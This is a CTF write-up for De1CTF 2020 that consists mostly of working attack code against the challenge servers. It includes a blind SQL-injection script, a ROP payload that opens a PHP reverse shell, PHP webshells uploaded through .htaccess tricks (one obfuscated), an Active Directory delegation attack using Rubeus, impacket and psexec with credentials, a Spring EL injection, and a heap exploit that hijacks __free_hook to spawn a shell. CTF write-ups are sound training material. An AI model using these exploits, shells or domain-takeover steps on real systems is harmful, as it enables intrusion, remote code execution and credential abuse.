De1CTF2020-WriteUp上(Web、Misc、Pwn)

Web

import requests
flag=''
cookies={'PHPSESSID':'cecvck53t45qs8nu85bh9d119r'}
url="http://49.51.251.99//member.php?orderby="
page=requests.get(url,cookies=cookies).text
for i in range(1,33):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz,':
        payload="|(mid((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1)='{}')%2b1".format(i,j)
        true_url=url+payload
        r=requests.get(true_url,cookies=cookies)
        if r.text!=page:
            print payload+' ok'
            flag+=j
            print flag
        else:
            print payload

//index.php
<?php
error_reporting(0);
include "config.php";
session_start();
if(!empty($_SESSION['user'])){
    header("location: /profile.php");
}
    session_start();
    $username = $_POST['username'];
    $password = $_POST['password'];
    if(!empty($username)&&!empty($password)){
        if($username==='admin')
            {
                $sql = "select password from member";
                $result = $mysqli->query($sql);
                $row = $result->fetch_row();
                if($row[0]===md5($password)){
                    $_SESSION['user']='admin';
                    $_SESSION['admin']=1;
                    header("location: /profile.php");
                }
                else{
                    echo "<script>alert('nononon,admin password not right')</script>";
                }
            }
        else{
            $_SESSION['user']='guest';
            $_SESSION['admin']=0;
            header("location: /profile.php");
        }
    }
?>

//admin.php
<?php
include "profile.php";
session_start();
if(empty($_SESSION['user'])){
    header("location: index.php");
}
if($_SESSION['admin']==1){
    phpinfo();
}
else{
    print <<<EOT
<div class="row">
  <div class="col-md-6 col-md-offset-4">You are not admin!!!!</div>
</div>
EOT;

}

//member.php
<?php
include "profile.php";
include "config.php";
$orderby = $_GET['orderby'];
?>

    <?php
    print <<<EOT
<div class="table-responsive">
    <table class="table">
        <!--orderby-->
        <caption>ALLmember</caption>
        <thead>
        <tr>
            <th>id</th>
            <th>username</th>
            <th>money</th></tr>
        </thead>
        <tbody>
EOT;
    if(!empty($orderby)){
        $blacklist = "/if|desc|sleep|rand|updatexml|^|union||||&&|regexp|exp|extractvalue|length|hex/i";
        if(preg_match($blacklist, $orderby))
            exit("No~~hacker!");
        $sql = "SELECT * FROM users order by id ".$orderby;
        $result = $mysqli->query($sql);
        if($result===false){
            $sql="SELECT * FROM users";
        }
    }
    else{
        $sql = "SELECT * FROM users";
    }
        $result = $mysqli->query($sql);
        /* free result set */
        while($row = $result->fetch_row()){
            //var_dump($row);
            print <<<EOT
        <tr>
            <td>$row[0]</td>
            <td>$row[1]</td>
            <td>$row[2]</td></tr>
        <tr>
EOT;
        }
        $result->free();
        $mysqli->close();
    print <<<EOT
      </tbody>
  </table>
</div>
EOT;
?>

#!/usr/bin/env python2
# -*- coding:utf-8 -*-
"""
    Author : Kirin
    Date   : 2020/05/04, 04:31
"""
import requests
import sys
import os
from pwn import *

libc_addr = 0x7f546eacb000  # libc address
shell_addr = 0x7ffd5b5ab000  # stack

pop_rdi = libc_addr+0x023a5f
mov_rdx_rdi = libc_addr+0xddc2a
pop_rdx = libc_addr+0x106725

s = "php -r '$sock=fsockopen("xxxxx",9981);exec("/bin/bash -i <&3 >&3 2>&3");'x00"
pop4_ret = libc_addr+0x0000000000024568
payload = p64(pop_rdx)*10+p64(pop4_ret)+p64(0)*4
for i in range(len(s)/8+1):
    payload += p64(pop_rdx)
    payload += p64(shell_addr+i*8)
    payload += p64(pop_rdi)
    payload += s[i*8:i*8+8].ljust(8, "x00")
    payload += p64(mov_rdx_rdi)
payload += p64(pop_rdi)+p64(shell_addr)
payload += p64(libc_addr+0x0449c0)

def local():
    global INITIAL
    filename = "a"*0x88+payload
    data = {
        "x": filename,
    }
    url = "http://127.0.0.1:8087"
    r = requests.post(url, params=data)
    print r.content

def remote():
    global INITIAL
    filename = "a"*0x88+payload
    data = {
        "search": filename,
    }
    url = "http://134.175.185.244/select.php"
    r = requests.post(url, data=data, cookies={
                      "PHPSESSID": "5eatvn82eb51nhkc7vj7j12ud1"})
    print r.content

remote()

readflag.php

<?php

$descriptorspec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("file", "/tmp/.orzzzzz", "a"),
);
$process = proc_open("/readflag", $descriptorspec, $pipes, "/", array());
if (is_resource($process)) {
    $descriptorspec = fread($pipes[1], 1024);
    $descriptorspec = fread($pipes[1], 1024);
    var_dump($descriptorspec);
    $ccc = explode("n", $descriptorspec)[0];
    var_dump($ccc);
    eval("$result = $ccc;");
    print_r("$result = $ccc;");
    print_r($result);
    fwrite($pipes[0], "$resultn");
    var_dump(fread($pipes[1], 1024));
    var_dump(fread($pipes[1], 1024));
    var_dump(fread($pipes[1], 1024));
    fclose($pipes[0]);
    fclose($pipes[1]);
    $return_value = proc_close($process);
}

Content-Disposition: form-data; name="fileUpload"; filename="xx.txt"
Content-Type: image/jpeg

<?=`$_GET[1]`;
xx.txt?1=cat /flag;

Content-Disposition: form-data; name="fileUpload"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-p
hp .qiu

Content-Disposition: form-data; name="fileUpload"; filename="1.qiu"
Content-Type: image/jpeg

<?=eval($_POST[1]);

<?=$_=[]?>
<?=$_="$_"?>
<?=$_=$_['!'=='@']?>
<?=$___=$_?>
<?=$__=$_?>
<?=$__++?><?=$__++?>
<?=$__++?><?=$__++?>
<?=$____=$__++?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$_____________=$__++?><?=$__++?>
<?=$__________=$__++?>
<?=$_________=$__++?>
<?=$__++?>
<?=$________=$__++?>
<?=$_____=$__++?>
<?=$______=$__++?>
<?=$______?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____________=$__++?>
<?=$_____.$____________.$_____.$______.$____.$_____________?>
<?=$________________=$_____.$____________.$_____.$______.$____.$_____________?>


<?=$_________.$__________.$_____.$______?>
<?=($________________)(${'_'.$_________.$__________.$_____.$______}{!!'@'})?>

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}"><Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/></User>
</Groups>

C:webuploadsline> net group /domain
The request will be processed at a domain controller for domain De1CTF2020.lab.
Group Accounts for \dc.De1CTF2020.lab
-------------------------------------------------------------------------------
*Cloneable Domain Controllers
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Protected Users
*Read-only Domain Controllers
*Schema Admins
The command completed successfully.

O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1806179181-549835139-1294087714-1106)

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1806179181-549835139-1294087714-1106)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dm| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Rubeus.exe hash /user:de1ta /password:3f23ea12 /domain:DE1CTF2020.LAB

Rubeus.exe s4u /user:de1ta /rc4:B03094996601324646AC223BF30D0D07 /impersonateuser:administrator /msdsspn:cifs/dc /ptt 

Rubeus.exe s4u /user:de1ta /rc4:B03094996601324646AC223BF30D0D07 /impersonateuser:administrator /msdsspn:host/dc /ptt 

klist

之后使用impacket生成delta的访问凭据

getST.py -dc-ip 192.168.0.12 -spn cifs/dm -impersonate administrator De1CTF2020.lab/de1ta:3f23ea12 

psexec.py de1ta:3f23ea12@192.168.0.11

解题思路

el表达式注入：

GET /spel/calc?calc=neW+java.util.Scanner(neW+java.io.File('/flag')).next() HTTP/1.1
Host: 106.52.164.141
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
Referer: http://106.52.164.141/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

func main() {
    c := bot.NewClient()
    err := c.JoinServer("222.85.25.41", 25565)
    if err != nil {
        log.Fatal(err)
    }
    log.Println("Login success")
}

#N Temp data by Javascript Robot
x = 27,y = 27, rule = 23/3
13bo2$2bo10bo$5bobo2bobo4bo2bob2o$3b2obob2o2bob4ob2o2bo$3bobobobobo5bob
2obo$bobo5bo5b2o7bo$3b2obob2ob2o2bobobo2bo$3bobobobobob2o2b2ob2o2bo$4b
obobo4bo3bo2b2obo$3bo5bob2o2b2o7b3o$7b4o3bob2o2b2ob2obo$2bobo2bo6bo3b2o5b
o$5b3o2bob2o3bo2b2obob2o$2bobo2b2ob2o3bo6bo2b2o$3bob4o3b2obo2b4o3bo$5b
2o6b2o2bobobobob2o$4bo2b2o2b3o2bobobob2ob2o$2b2o4b2o2bobo4bo3bo2bo$6bo2b
obo3bob2o6b2o$3o2b2o2bo2b2o3bo2b4ob2o$b3o2bo3bob3obo3bobo2bo$o7bo3bo4b
2obo2bob2o$o2bo6bo2bo4b2o4b2o$obob4obo2b7o2b2o2bo$o3b7ob2ob2o2b7o$2bo2b
o4b4o2b3obobo2b2o$!

0QjN1MTM0MTN0QjN3ImNjNzM3QTNmdTN3MTNmdzMzcjNxcjM3QTNmdDN2gzMzUjZ2czM0YDZzMjMxcDZ

import re
import binascii

n = 0x28a3
result = ''
file = open('bgm.mp3','rb')
file.seek(n, 0)

def w(s):
    with open("1.txt", "a+") as f:
        f.write(s + "n")

for i in range(0, 3284):
    frame_hdr = file.read(4)
    hex_data = binascii.b2a_hex(frame_hdr).decode("utf8")
    bin_data = bin(int("0x" + hex_data,16)).replace("0b", "")
    w(bin_data)
    n += 0x1a1
    file.seek(n, 0)

生成1.txt之后用vscode打开多行编辑选中第24比特复制出来，然后计算长度，选择最靠近的长度为336bit，多余的0删掉。得到

101111101000010010101110011010101000001001010110110011000010001011111010001000101000110001001110000011001110101011111010001011100110001000101100010010101100001011001100111011001001011010110010111110100000110000101110111110101100110010110110000011001100011010001100110011001110101011011110011000100010101011000010100011001010011000100010

反转得到

010001000110010100110001010000110101010001000110011110110101011100110011001100010110001100110000011011010011001101011111011101000011000001011111010011010110100100110111001100110100001101010010001101000100011001110100010111110101011100110000011100100011000101000100010111110100010000110011011010100100000101010110011101010010000101111101

Pwn

stl_container

解题思路：

from PwnContext import *
from pwn import *
from LibcSearcher import *
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, 'x00'))
uu64    = lambda data   :u64(data.ljust(8, 'x00'))
leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

ctx.binary = 'stl_container'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ctx.debug_remote_libc = False
local=0
def choice():
    if(local):
        p=rs()
    else:
        ctx.remote = ('134.175.239.26',8848)
        p=rs('remote')
    return p

def debug():
    if(local==1):
        libc_base = ctx.bases.libc
        print hex(libc_base)
        ctx.symbols = {'sym1':0xEDA , 'sym2':0x10AF}
        ctx.breakpoints = [0xEDA,0x10AF]
        ctx.debug()


def menu(index):
    sla(">> ",index)
def submenu(index):
    sla(">> ",index)

def List(index,tpe,data):
    menu(1)
    submenu(tpe)
    if tpe== 1:
        sa("input data:",data)
    if tpe== 2:
        sla("index?",index)
    if tpe== 3:
        sla("index?",index)

def Vector(index,tpe,data):
    menu(2)
    submenu(tpe)
    if tpe== 1:
        sa("input data:",data)
    if tpe== 2:
        sla("index?",index)
    if tpe== 3:
        sla("index?",index)

def Queue(index,tpe,data):
    menu(3)
    submenu(tpe)
    if tpe== 1:
        sa("input data:",data)
    if tpe== 3:
        sla("index?",index)

def Stack(index,tpe,data):
    menu(4)
    submenu(tpe)
    if tpe== 1:
        sa("input data:",data)  
    if tpe== 3:
        sla("index?",index)

choice()
Vector(1,1,"f"*0x10+p64(0xa0))
Vector(1,1,"f"*0x10+p64(0xa0))
List(1,1,"w"*0x10+p64(0xa0))
Vector(0,2,0)
Vector(0,2,0)
Vector(0,1,"xf0")
Vector(0,3,0)
ru("data: ")
heap_base=uu64(r(6))-0x125e0
leak("heap_base",heap_base)
Queue(0,1,p64(heap_base))
Queue(0,1,p64(0)+p64(7)+p64(0)*1+p64(0xa0)+p64(heap_base+0x20)+p64(0)*11+p64(heap_base+0x20))    
Vector(0,3,0)
ru("data: ")
libc_base=uu64(r(6))-(0x7ffff77d7ca0-0x7ffff73ec000)
leak("libc_base",libc_base)
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
List(1,1,p64(free_hook))
Stack(0,1,p64(system))
Vector(0,1,"/bin/shx00")
debug()
irt()